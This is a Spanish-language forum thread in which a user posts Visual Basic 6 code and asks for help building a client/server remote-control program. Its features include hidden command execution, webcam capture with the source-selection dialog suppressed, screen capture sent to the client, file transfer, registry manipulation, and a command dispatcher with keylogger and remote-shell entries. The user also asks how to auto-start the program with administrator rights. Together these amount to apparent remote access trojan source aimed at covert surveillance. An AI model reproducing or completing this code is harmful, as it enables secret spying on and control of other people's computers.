Mensajes

Si el problema es que no sale nada ni siquiera se ejecuta, has hecho la prueba con cualquier aplicacion en el arranque que necesite privilegios de administrador?

Un saludo! 

Hola buenas, como me borraron el mensaje del tema este pues he decidido crear uno nuevo.
La cuestion es que tengo un archivo con el manifesto con niveles para administrador "requireAdministrator", la falla de este al nivel "asInvoker" es que si añado el archivo al arranque del sistema de windows en la clave Run del registro no inicia, en cambio si lo pongo como invoker si inicia. ¿Hay alguna manera de iniciarlo como administrador cuando se reinicie el sistema?

Un saludo! 

Hola a ver si alguien me hecha una mano tengo este codigo para ejecutar y leer la salida de los comandos en windows, se ejecutan y se ven perfectamente en versiones de XP hasta windows 7 he probado.. ahora en windows 8 y 10 crashea en un loop :

Código (vb) [Seleccionar] Expandir


   Do
       ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&)
       mOutputs = mOutputs & Left(strBuff, lngBytesRead)
   Loop While ret <> 0


Código (vb) [Seleccionar] Expandir



Public Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long

Public Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long

Public Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long

Public Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long



Public Type PROCESS_INFORMATION
  hProcess     As Long
  hThread      As Long
  dwProcessId  As Long
  dwThreadId   As Long
End Type

Public Type STARTUPINFO
  cb                As Long
  lpReserved        As Long
  lpDesktop         As Long
  lpTitle           As Long
  dwX               As Long
  dwY               As Long
  dwXSize           As Long
  dwYSize           As Long
  dwXCountChars     As Long
  dwYCountChars     As Long
  dwFillAttribute   As Long
  dwFlags           As Long
  wShowWindow       As Integer
  cbReserved2       As Integer
  lpReserved2       As Long
  hStdInput         As Long
  hStdOutput        As Long
  hStdError         As Long
End Type

Public Type SECURITY_ATTRIBUTES
  nLength                As Long
  lpSecurityDescriptor   As Long
  bInheritHandle         As Long
End Type



Public Function CMD(ByVal Comando As String) As String
On Error Resume Next
   Dim proc           As PROCESS_INFORMATION
   Dim ret            As Long
   Dim start          As STARTUPINFO
   Dim sa             As SECURITY_ATTRIBUTES
   Dim hReadPipe      As Long
   Dim hWritePipe     As Long
   Dim lngBytesRead   As Long
   Dim strBuff        As String * 256

   sa.nLength = Len(sa)
   sa.bInheritHandle = 1&
   sa.lpSecurityDescriptor = 0&
   ret = CreatePipe(hReadPipe, hWritePipe, sa, 0)

   If ret = 0 Then CMD = "Fallo de Conexion con Proceso. Error: " & Err.LastDllError: Exit Function

   start.cb = Len(start)
   start.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
   start.hStdOutput = hWritePipe
   start.hStdError = hWritePipe

   mCommand = Environ("COMSPEC") + " /c " + Comando

   ret& = CreateProcessA(0&, mCommand, sa, sa, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)

   If ret <> 1 Then CMD = "Archivo o comando no encontrado": Exit Function

   ret = CloseHandle(hWritePipe)
   mOutputs = ""
   
   ' CRASHEA En versiones mayores a Windows 7
   If InStr(1, SO, "Windows 8") Or InStr(1, SO, "Windows 10") Then Exit Function
   
   Do
       ret = ReadFile(hReadPipe, strBuff, 256, lngBytesRead, 0&)
       mOutputs = mOutputs & Left(strBuff, lngBytesRead)
   Loop While ret <> 0
   ret = CloseHandle(proc.hProcess)
   ret = CloseHandle(proc.hThread)
   ret = CloseHandle(hReadPipe)

   CMD = mOutputs

   Exit Function
End Function



A ver si alguien lo puede probar quizas puede ser por otra cosa! un saludo!

Es un codigo sencillo, es para capturar la camara web, lo que quiero saber es como evitar que salga el dialogo para seleccionar el source de la camara, obtenerlo por otro medio el source y seleccionarlo de una forma diferente, la linea que muestra el dialogo es la siguiente :

Código (vb) [Seleccionar] Expandir

SendMessage mCapHwnd, 1034, 0, 0

El codigo solo necesita un picturebos y un timer para que lo prueben.

Código (vb) [Seleccionar] Expandir


Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long

Private mCapHwnd As Long
Private Sub Form_Load()
STARTCAM
End Sub

Private Sub Timer1_Timer()
SendMessage mCapHwnd, 1084, 0, 0
SendMessage mCapHwnd, 1054, 0, 0
Picture1.Picture = Clipboard.GetData
End Sub

Sub STARTCAM()
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 640, 480, Me.hwnd, 0)
'DoEvents
SendMessage mCapHwnd, 1034, 0, 0
End Sub



Un saludo y espero algunas ideas!

Perdon por el doble post pero para no crear un tema nuevo, he aqui la cuestion estoy haciendo la captura de escritorio remoto, en el emulador de VB6 los datos se envian muy bien y completos (a veces) pero el problema viene cuando creo el archivo servicio en binario sin usar el depurador de vb.. la captura se crea bien en la carpeta temporal pero no me llega bien al cliente..

SERVIDOR :

Código (vb) [Seleccionar] Expandir


Public Function Capturar_Pantalla()
   On Error Resume Next
       Dim i_Buff      As String * 8024
       Dim f_Name      As String
       Dim Largo       As Long
       Dim i_Todo      As String
       
       nCaptura = nCaptura + 1
       FF = FreeFile
       Clipboard.Clear
       
       frmEspecifico = Split(Data(2), "/S/")(0)
       f_Name = nCaptura
       
       Set frmMain.pScreenShot.Picture = CaptureScreen()
       If frmMain.pScreenShot.Picture <> 0 Then
               SavePictureAsJPG frmMain.pScreenShot, Environ$("Temp") & "\" & f_Name & ".jpg", 85
               
               DoEvents
               
               Open Environ$("Temp") & "\" & f_Name & ".jpg" For Binary As FF
                   Do While Not EOF(FF)
                       DoEvents
                       Get FF, , i_Buff
                       Largo = LOF(FF)
                       eDatos = "/S/|CapturarPantalla|" & i_Buff & "|$--$|" & f_Name & "|$--$|" & Largo & "|$--$|" & frmEspecifico & "|$--$|"
                       Call sDatos(eDatos)
                   Loop
               Close FF
                                           
               'Kill Environ$("Temp") & "\" & f_Name & ".jpg"
       End If
End Function


CLIENTE :

Código (vb) [Seleccionar] Expandir


Public Function Capturar_Pantalla()
  'On Error Resume Next

  Dim fData()       As String
  Dim f_Name        As String
  Dim f_Len         As Long
  Dim uIP           As String
  Dim uName         As String
 
 
 
 FF = FreeFile
 
 fData = Split(Replace$(Datos, "/S/|CapturarPantalla|", ""), "|$--$|")
 Archivo = Archivo + fData(0)
 f_Name = fData(1) & ".jpg"
 f_Len = fData(2)
 frmEspecifico = fData(3)
   
 uIP = Split(frmEspecifico, "/")(1)
 uName = Replace(Split(frmEspecifico, " Administrando a ")(1), "/" & uIP, "")
 
 Create_Folders (uName)
 
 If Len(Archivo) >= f_Len Then
   For i = 1 To TotalVentanas
           For z = 1 To frmMain.LV.ListItems.Count
               With frmFunciones(i)
                 If .Caption = frmEspecifico Then
                       .PBScreen.Value = 60
                       
                       Open App.Path & "\Usuarios\" & uName & "\" & f_Name For Binary As FF
                                  Put FF, , Archivo
                       Close FF
                       
                       Archivo = ""
                       
                       frmFunciones(i).picScreen = Nothing
                       frmFunciones(i).picScreen = LoadPicture(App.Path & "\Usuarios\" & uName & "\" & f_Name)
                       frmFunciones(i).picScreen.ScaleMode = 3
                       frmFunciones(i).picScreen.AutoRedraw = True
                       frmFunciones(i).picScreen.PaintPicture frmFunciones(i).picScreen.Picture, 0, 0, frmFunciones(i).picScreen.ScaleWidth, frmFunciones(i).picScreen.ScaleHeight
                       If .cGuardarCaptura.Value = 0 Then Kill App.Path & "\Usuarios\" & uName & "\" & f_Name
                       .PBScreen.Value = 100
                 End If
               End With
           Next z
   Next i
 End If
End Function


El envio de datos esta dentro de un loop porque la verdad no se otra forma de partir el archivo y recoger los datos.
A veces los datos del array fdata() se me mezclan con el contenido de la imagen pero me parece raro porque en el vb6 va bien.

Una imagen

Un saludo y espero una respuesta!

Como idea, podrias depurar y ver que devuelve el split que estas haciendo en WS_DataArrival.

De ahi puedes sacar conclusiones...

Saludos!

Por ejemplo con el envio de imagenes por la captura de pantalla..

/S/|CapturarPantalla|BM6 <     6 ........... CONTENIdO dE LA IMAGEN ...... y lo siguientes delimitadores desaparecen

eso es lo que recibo en el cliente despues de tomar la captura y enviarla desde el servidor.

MODIFICADO :

Alguien que se anime a hacer una funcion de partir el archivo por partes?.. cliente servidor. Venga yo se que a leandro o alguno de ustedes Pro en VB no les cuesta nada hacerlo en un momentito, lo encesito urgente para terminar un proyecto que vengo haciendo desde años pasados!.

Saludos!

[MOD EDIT: No hacer doble post.]

Chicos, necesito ayuda para transferir un archivo a tra vez de winsock he aqui el codigo :

Cliente :

Código (vb) [Seleccionar] Expandir

Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
  WS(Index).GetData Datos
 
  If String(Len(Datos), Chr(0)) <> "" Then tDatos = tDatos & Datos
 
  If InStr(1, tDatos, "/S/") Then
    Data = Split(tDatos, "|")
    tDatos = ""
   
    Select Case Data(1)
      Case "Conexion":      Call vConexion(Index)
      Case "Informacion":   Call vInformation
      Case "Procesos":      Call vProcess
      Case "ActualizarP":   Call vAProcess
      Case "sServicios":    Call vServices
      Case "ActualizarS":   Call vAServices
      Case "Conexiones":    Call vConexiones
      Case "ActualizarA":   Call vAAdaptadores
      Case "ObtenerWebs":   Call vOWebs
      Case "TcpUdp":        Call vTcpUdp
      Case "Keylogger":     Call vKeylogger
      Case "Shell":         Call vShell
      Case "RefrescarWnd":  Call vRWind
      Case "Chat":          Call vChat
      Case "lstDrivers":    Call vlDrivers
      Case "lstFiles":      Call vlFiles
      Case "ErrorServidor": Call vEServer
      Case "sRegistro":     Call vRegistro
      Case "Keylogger":     Call vKeylogger
      Case "dwnFile":       Call dwnFile
    End Select
  End If
End Sub

Código (vb) [Seleccionar] Expandir

Public Function dwnFile()
  Dim aBuff         As String
  Dim Archivo       As String
 
  FF = FreeFile
  Archivo = Data(3)
 
        If Dir(App.Path & "\Descargas", vbDirectory) = "" Then MkDir (App.Path & "\Descargas")
        Open App.Path & "\Descargas\" & Archivo For Binary As FF
                aBuff = Space(LOF(FF))
                Get FF, , aBuff
        Close FF
       
        Open App.Path & "\Descargas\" & Archivo For Binary As FF
                Put FF, , aBuff + Data(2)
        Close FF
       
        For i = 1 To TotalVentanas
            For z = 1 To frmMain.LV.ListItems.Count
                With frmFunciones(i)
                 If .Caption = Data(4) Then
                        MsgBox "Se ha descargado el archivo correctamente!", vbInformation, frmFunciones(i).Caption
                 End If
                End With
            Next z
        Next i
End Function

Servidor :

Código (vb) [Seleccionar] Expandir

Public Function dwFile()
On Error GoTo Err
  Dim aBuff       As String
  Dim xBuff       As String
  Dim cPacks      As String

  frmEspecifico = Data(3)
  FF = FreeFile
 
  Open Data(2) For Binary As FF
    aBuff = Space(LOF(FF))
    Get FF, , aBuff
  Close FF
 
  cPacks = CInt(Len(aBuff) / 8192) '8192
  If InStr(1, cPacks, ",") Then If Split(cPacks, ",")(1) > 0 Then cPacks = Split(cPacks, ",")(0) + 1
  If Len(aBuff) > 8192 And cPacks > 0 Then
        For i = 0 To cPacks
            If i > 0 Then xBuff = Mid(aBuff, (i * 8192) - 1, Len(aBuff)) Else xBuff = Mid(aBuff, 1, Len(aBuff))
            If frmMain.WS.State = 7 Then frmMain.WS.SendData "/S/|dwnFile|" & xBuff & "|" & Split(Data(2), "\")(UBound(Split(Data(2), "\"))) & "|" & frmEspecifico
        Next i
  End If
 
Err: If Err.Number > 0 Then frmMain.WS.SendData "|ErrorServidor|" & Err.Number & "|"
End Function


En la linea del cliente Archivo = Data(3) me sale contenido del archivo en vez de salirme el nombre del archivo como la mando desde el servidor, ya probe con diferentes delimitadores para ver si era los simples "|"  pero no ..

Alguien me puede poner un ejemplo sencillo sobre como hacer una descarga y una subida de archivos?.. o que ven mal en el code?

Un saludo! si hace falta mas codigo lo pongo.



Alguien que me ayude con el envio de archivos de mas de X bytes?..
Necesito un ejemplo, quien se anima?..

Un saludo!

MOD EDIT: No hacer doble post.

Ya logre hacerlo funcionar el modulo, es bastante sencillo la verdad le tenia que haber metido mas tiempo para verlo
Perdonen tema cerrado.

Sobre este proyecto

Leandro no se donde utilizas los eventos del modulo de clase del Registro. No veo ninguna llamada a los EnumValues etc en el codigo solo veo esto

Código (vb) [Seleccionar] Expandir


                Case 4
                    RegistryID = WinSock32.WsConnect(ServerIP, ServerPuerto, True)
                   
                    If RegistryID <> 0 Then
                   
                        Dim cRemoteReg As ClsRemoteRegistry
                        Set cRemoteReg = New ClsRemoteRegistry
                        cRemoteReg.ID_Connection = RegistryID
                        cColl.Add cRemoteReg, CStr(RegistryID)
                       
                        WinSock32.SendData RegistryID, 6 & Delimiter & Cmd(1)


Modulo del registro :

Código (vb) [Seleccionar] Expandir


Option Explicit
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As Any) As Long
Private Declare Function RegRestoreKey Lib "advapi32.dll" Alias "RegRestoreKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal dwFlags As Long) As Long
Private Declare Function RegSaveKey Lib "advapi32.dll" Alias "RegSaveKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal lpSecurityAttributes As Long) As Long
Private Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByRef lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long

Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As Luid) As Long
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, ByVal PreviousState As Long, ByVal ReturnLength As Long) As Long

Private Const ERROR_SUCCESS = 0&
Private Const ERROR_FILE_NOT_FOUND = 2&

Private Const KEY_QUERY_VALUE = &H1&
Private Const KEY_SET_VALUE = &H2&
Private Const KEY_CREATE_SUB_KEY = &H4&
Private Const KEY_ENUMERATE_SUB_KEYS = &H8&
Private Const KEY_NOTIFY = &H10&
Private Const KEY_CREATE_LINK = &H20&
Private Const READ_CONTROL = &H20000
Private Const WRITE_DAC = &H40000
Private Const WRITE_OWNER = &H80000
Private Const SYNCHRONIZE = &H100000
Private Const STANDARD_RIGHTS_REQUIRED = &HF0000
Private Const STANDARD_RIGHTS_READ = READ_CONTROL
Private Const STANDARD_RIGHTS_WRITE = READ_CONTROL
Private Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL
Private Const STANDARD_RIGHTS_ALL = &H1F0000
Private Const KEY_READ = STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY
Private Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY
Private Const KEY_EXECUTE = KEY_READ
Private Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
Private Const REG_FORCE_RESTORE = &H8
Private Const TOKEN_ADJUST_PRIVLEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2
Private Const SE_RESTORE_NAME = "SeRestorePrivilege"
Private Const SE_BACKUP_NAME = "SeBackupPrivilege"

Private Type Luid
    lowpart As Long
    highpart As Long
End Type

Private Type LUID_AND_ATTRIBUTES
    pLuid As Luid
    Attributes As Long
End Type

Private Type TOKEN_PRIVILEGES
    PrivilegeCount As Long
    Privileges(1) As LUID_AND_ATTRIBUTES
End Type

Public Enum rcMainKey
    HKEY_CLASSES_ROOT = &H80000000
    HKEY_CURRENT_USER = &H80000001
    HKEY_LOCAL_MACHINE = &H80000002
    HKEY_USERS = &H80000003
    HKEY_PERFORMANCE_DATA = &H80000004
    HKEY_CURRENT_CONFIG = &H80000005
    HKEY_DYN_DATA = &H80000006
End Enum

Public Enum rcRegType
    REG_NONE = 0
    REG_SZ = 1
    REG_EXPAND_SZ = 2
    REG_BINARY = 3
    REG_DWORD = 4
    REG_DWORD_LITTLE_ENDIAN = 4
    REG_DWORD_BIG_ENDIAN = 5
    REG_LINK = 6
    REG_MULTI_SZ = 7
    REG_RESOURCE_LIST = 8
    REG_FULL_RESOURCE_DESCRIPTOR = 9
    REG_RESOURCE_REQUIREMENTS_LIST = 10
End Enum

Public Event SearchFound(ByVal key As String, ByVal Value As String, ByVal RegType As rcRegType, ByVal Data As Variant)

Private m_hToken        As Long
Private m_TP            As TOKEN_PRIVILEGES

Private hKey             As Long
Private mKey             As Long
Private sKey             As String
Private mFindInKey      As Boolean
Private mFindInValue    As Boolean
Private mFindInData     As Boolean
Private mStrSearch      As String
Private bCancelSearch   As Boolean
Private m_bDoEvents     As Boolean

Public Sub SetSearchOption(ByVal sSearch As String, ByVal FindInKey As Boolean, ByVal FindInValue As Boolean, ByVal FindInData As Boolean, Optional ByVal CallDoEvents As Boolean)
    mStrSearch = sSearch
    mFindInKey = FindInKey
    mFindInValue = FindInValue
    mFindInData = FindInData
    m_bDoEvents = CallDoEvents
End Sub

Public Sub CancelSearch()
    bCancelSearch = True
End Sub

Public Sub StarSearch(ByVal sPath As String)
    Dim i As Long
    Dim ArrKeys() As Variant
    bCancelSearch = False
    If sPath = vbNullString Then
        ArrKeys = Array("HKEY_CLASSES_ROOT", "HKEY_CURRENT_USER", "HKEY_LOCAL_MACHINE", "HKEY_USERS", "HKEY_CURRENT_CONFIG")
        For i = 0 To 4
            If bCancelSearch Then Exit Sub
            If m_bDoEvents Then DoEvents
            PvFindInValueAndData ArrKeys(i)
            PvFindInKeys ArrKeys(i)
        Next
    Else
        PvFindInValueAndData sPath
        PvFindInKeys sPath
    End If
End Sub

Private Sub PvFindInKeys(ByVal sPath As String)
    Dim lCount As Long
    Dim sKeys() As String
    Dim sCurPath As String
    Dim i As Long

    lCount = EnumKeys(sPath, sKeys)

    If lCount Then
        For i = 0 To lCount - 1
            sCurPath = sPath & "\" & sKeys(i)
           
            If mFindInKey Then
                If InStr(sKeys(i), mStrSearch) Then
                    RaiseEvent SearchFound(sCurPath, vbNullString, REG_NONE, vbNull)
                End If
            End If
           
            If (mFindInValue = True) Or (mFindInData = True) Then
                PvFindInValueAndData sCurPath
            End If
           
            If bCancelSearch Then Exit Sub
            If m_bDoEvents Then DoEvents
            PvFindInKeys sCurPath
        Next
    End If

End Sub

Private Sub PvFindInValueAndData(sPath)
    Dim lCount As Long
    Dim sValue() As String
    Dim lRegType() As Long
    Dim sData() As Variant
    Dim i As Long
    Dim bFind As Boolean
   
    lCount = EnumValues(sPath, sValue, lRegType, sData, True)
   
    For i = 0 To lCount - 1
        If bCancelSearch Then Exit Sub
        If mFindInValue Then
            If InStr(sValue(i), mStrSearch) Then
                RaiseEvent SearchFound(sPath, sValue(i), lRegType(i), sData(i))
                bFind = True
            Else
                bFind = False
            End If
        End If
       
        If mFindInData Then
           If Not bFind Then
                If InStr(sData(i), mStrSearch) Then
                    RaiseEvent SearchFound(sPath, sValue(i), lRegType(i), sData(i))
                End If
            End If
        End If
    Next
End Sub

Public Function CreateKey(ByVal sPath As String) As Boolean
    hKey = GetKeys(sPath, sKey)
   
    If (RegCreateKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        RegCloseKey mKey
        CreateKey = True
    End If
End Function

Public Function KillKey(ByVal sPath As String) As Long
    Dim sKeys() As String, nKeys As Long, i As Long
   
    nKeys = EnumKeys(sPath, sKeys)
    If nKeys > 0 Then
        For i = 0 To nKeys - 1
            KillKey sPath & "\" & sKeys(i)
        Next i
    End If
   
    hKey = GetKeys(sPath, sKey)
   
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        KillKey = (RegDeleteKey(mKey, "") = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
   
End Function

Public Function KeyExists(ByVal sPath As String) As Boolean
    hKey = GetKeys(sPath, sKey)
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        KeyExists = True
        RegCloseKey mKey
    End If
End Function


Function RenameKey(ByVal sKeySource As String, ByVal sNewName As String) As Boolean
    Dim hKeySource As Long
    Dim hKeyDestination As Long
    Dim sFile As String
   
    On Error GoTo ErrHandler
   
    sNewName = Mid(sKeySource, 1, InStrRev(sKeySource, "\")) & sNewName
    hKey = GetKeys(sNewName, sKey)
    sNewName = sKey
    hKey = GetKeys(sKeySource, sKey)

    SetBackupAndRestorePriviliges
    sFile = Environ$("Temp") & "\TempReg.reg"
    If Len(Dir(sFile)) > 0 Then Kill sFile

    If (RegOpenKey(hKey, sKey, hKeySource) = ERROR_SUCCESS) Then
        If (RegSaveKey(hKeySource, sFile, 0&) = ERROR_SUCCESS) Then
            If (RegOpenKey(hKey, sNewName, hKeyDestination) = ERROR_FILE_NOT_FOUND) Then
                If KillKey(sKeySource) = True Then
                    If (RegCreateKey(hKey, sNewName, hKeyDestination) = ERROR_SUCCESS) Then
                        RenameKey = (RegRestoreKey(hKeyDestination, sFile, REG_FORCE_RESTORE) = ERROR_SUCCESS)
                    End If
                End If
                RegCloseKey hKeyDestination
            End If
        End If
        RegCloseKey hKeySource
    End If
   
    ResetBackupAndRestorePriviliges
    If Len(Dir(sFile)) > 0 Then Kill sFile
ErrHandler:

End Function

Public Function EnumKeys(ByVal sPath As String, ByRef key() As String) As Long
    Dim sName As String, RetVal As Long
   
    hKey = GetKeys(sPath, sKey)
   
    Erase key
   
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then

        Do
            sName = String(255, vbNullChar)
            RetVal = Len(sName)
           
            If (RegEnumKeyEx(mKey, EnumKeys, sName, RetVal, ByVal 0&, vbNullString, ByVal 0&, ByVal 0&) <> ERROR_SUCCESS) Then Exit Do
           
            ReDim Preserve key(EnumKeys)
            key(EnumKeys) = Left$(sName, RetVal)
                       
            EnumKeys = EnumKeys + 1

        Loop
   
        RegCloseKey mKey
    Else
        EnumKeys = -1
    End If
End Function

Public Function HaveSubKey(ByVal sPath As String) As Boolean
    Dim sName As String, RetVal As Long
   
    hKey = GetKeys(sPath, sKey)
   
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        sName = String(255, 0)
        RetVal = Len(sName)
        HaveSubKey = (RegEnumKeyEx(mKey, 0, sName, RetVal, ByVal 0&, vbNullString, ByVal 0&, ByVal 0&) = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
End Function

Public Function CreateValue(ByVal sPath As String, ByVal sName As String, ByVal nType As rcRegType) As Boolean
    hKey = GetKeys(sPath, sKey)
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        CreateValue = (RegSetValueEx(mKey, sName, 0, nType, 0&, 0&) = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
End Function

Public Function KillValue(ByVal sPath As String, ByVal sName As String) As Boolean

    hKey = GetKeys(sPath, sKey)
   
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        KillValue = (RegDeleteValue(mKey, sName) = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
   
End Function

Public Function ValueExists(ByVal sPath As String, ByVal sName As String) As Boolean
   
    hKey = GetKeys(sPath, sKey)

    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        ValueExists = (RegQueryValueEx(mKey, sName, 0&, 0&, ByVal 0&, 0&) = ERROR_SUCCESS)
        RegCloseKey mKey
    End If
   
End Function

Public Function RenameValue(ByVal sPath As String, ByVal sName As String, ByVal sNewName As String) As Boolean
    Dim lLenBuff As Long
    Dim bData() As Byte
    Dim lType As Long

   
    hKey = GetKeys(sPath, sKey)
   
    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
        If RegQueryValueEx(mKey, sName, 0, lType, ByVal 0&, lLenBuff) = ERROR_SUCCESS Then
           If lLenBuff Then
                ReDim bData(lLenBuff - 1)
                If (RegQueryValueEx(mKey, sName, 0, REG_BINARY, bData(0), lLenBuff) = ERROR_SUCCESS) Then
                    If RegSetValueEx(mKey, sNewName, 0, lType, bData(0), lLenBuff) = ERROR_SUCCESS Then
                        RenameValue = (RegDeleteValue(mKey, sName) = ERROR_SUCCESS)
                    End If
                End If
            Else
                If (RegSetValueEx(mKey, sNewName, 0, lType, 0&, 0&) = ERROR_SUCCESS) Then
                    RenameValue = (RegDeleteValue(mKey, sName) = ERROR_SUCCESS)
                End If
            End If
        End If
        RegCloseKey mKey
    End If
End Function

Public Function EnumValues(ByVal sPath As String, ByRef sValue() As String, ByRef lRegType() As Long, ByRef vData() As Variant, Optional ByVal ReturnString As Boolean) As Long
    Dim sValueName As String
    Dim LenName As Long
    Dim LenData As Long
    Dim Index As Long
    Dim EnuRegType As rcRegType

   
    Erase sValue
    Erase vData
    Erase lRegType
   
    hKey = GetKeys(sPath, sKey)
   
    If hKey = 0 Then EnumValues = -1: Exit Function

    If RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS Then
       
        Do
            sValueName = String(255, vbNullChar)
            LenName = Len(sValueName)

            If (RegEnumValue(mKey, Index, ByVal sValueName, LenName, 0, EnuRegType, ByVal 0&, LenData) = ERROR_SUCCESS) Then
                sValueName = Left$(sValueName, LenName)
                ReDim Preserve sValue(Index)
                ReDim Preserve vData(Index)
                ReDim Preserve lRegType(Index)
                               
                sValue(Index) = sValueName
                lRegType(Index) = EnuRegType
               
                Select Case EnuRegType
                    Case REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ
                        Dim sData As String
                        If LenData > 0 Then
                            sData = String(LenData - 1, vbNullChar)
                            Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, ByVal sData, LenData)
                            vData(Index) = sData
                        Else
                            vData(Index) = vbNullString
                        End If
                       
                    Case REG_DWORD
                        Dim lVal As Long
                        lVal = 0
                        Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, lVal, 4)
                         vData(Index) = lVal
                    Case REG_BINARY
                        Dim ArrData() As Byte
                        If LenData > 0 Then
                            If ReturnString Then
                                sData = String(LenData, vbNullChar)
                                Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, ByVal sData, LenData)
                                vData(Index) = sData
                            Else
                                ReDim ArrData(LenData - 1)
                                Call RegQueryValueEx(mKey, sValueName, 0, EnuRegType, ArrData(0), LenData)
                                vData(Index) = ArrData
                            End If
                        End If
                         
                End Select
             
                Index = Index + 1
            Else
                Exit Do
            End If
        Loop
       
        RegCloseKey hKey
        EnumValues = Index
    Else
        EnumValues = -1
    End If
   
End Function

Public Function ReadValue(ByVal sPath As String, ByVal sName As String, Optional vDefault As Variant = vbNullChar) As Variant
    Dim LenData As Long
    Dim EnuRegType As rcRegType

   
    hKey = GetKeys(sPath, sKey)

    If (RegOpenKey(hKey, sKey, mKey) = ERROR_SUCCESS) Then
       
        If (RegQueryValueEx(mKey, sName, 0, EnuRegType, ByVal 0&, LenData) = ERROR_SUCCESS) Then

            Select Case EnuRegType
                Case REG_SZ, REG_MULTI_SZ, REG_EXPAND_SZ
                    Dim sData As String
                    If LenData > 0 Then
                        sData = String$(LenData - 1, vbNullChar)
                        If (RegQueryValueEx(mKey, sName, 0, EnuRegType, ByVal sData, LenData) = ERROR_SUCCESS) Then
